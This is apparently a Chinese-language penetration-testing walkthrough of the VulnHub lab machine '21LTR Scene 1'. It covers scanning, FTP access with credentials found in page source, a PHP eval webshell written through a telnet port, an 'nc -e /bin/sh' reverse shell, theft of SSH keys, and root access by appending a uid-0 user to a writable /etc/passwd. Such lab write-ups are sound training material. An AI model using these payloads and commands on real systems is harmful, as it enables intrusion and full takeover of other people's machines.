靶机下载地址
https://www.vulnhub.com/entry/21ltr-scene-1,3/
一、配置网卡
1、靶机网卡
靶机默认网卡为仅主机,192.168.2.120
2、kali网卡
建议配置一张仅主机网卡,并且修改为和靶机同一网段
二、web渗透测试
1、扫描靶机IP地址
nmap 192.168.2.0/24
2、扫描靶机的端口和服务版本
nmap -sV -O 192.168.2.120
3、访问靶机地址
已知端口80开发,直接访问
没啥可用点
4、对靶机进行目录扫描
dirsearch -u http://192.168.2.120
访问后没啥用
5、通过反复查找页面功能点
查看主页源码发现了一个账户密码
6、利用账户密码进行FTP和SSH连接
上面已经扫描出来21和22端口开发
经过测试,发现FTP可以成功连接
输入ls,查看有什么可用东西
7、尝试将扫描出来的文件下载到本地
get backup_log.php /home/kali/Desktop/shell.php
8、查看下载的shell.php
发现是个日志文件
之前目录扫描出来一个logs目录,尝试拼接这个文件访问
三、获取shell
1、写入webshell
已经知道backup_log.php文件可以解析,尝试写入一句话木马
这里利用10001端口写入,输入以下命令
1、telnet 192.168.2.120 10001
2、<?php eval($_POST[hack]);?>
2、写入完成后,重新访问网址backup_log.php文件
3、这里拼接?cmd=,输入id命令,发现是个任意代码执行漏洞
4、拼接参数值,写入反弹shell语句
nc -e /bin/sh 192.168.2.129 5555
kali监听,nc -lvvp 5555
成功反弹
四、提权
1、建立交互式shell
python -c 'import pty; pty.spawn("/bin/sh")'
输入以下命令
1、cd /media/USB_1/Stuff/Keys
2、ls
3、cat authorized_keys
2、查看密钥文件
cat id_rsa
3、查看/etc/passwd
cat /etc/passwd
发现存在hbeale用户
3、尝试用密钥文件登录
ssh -i id_rsa hbeale@192.168.2.120
成功连接,但是个低权限用户
4、利用不安全配置/etc/passwd可写进行提权
创建root新用户
利用openssl生成密码hash值
5、将hash密码添加到/etc/passwd
echo 'user1:$1$dY7ecSy3$DuiqIJfj/66qr4GMayq1O/:0:0:root:/root:/bin/bash' >> /etc/passwd
6、切换刚刚创建的用户
su user1
提权成功!!!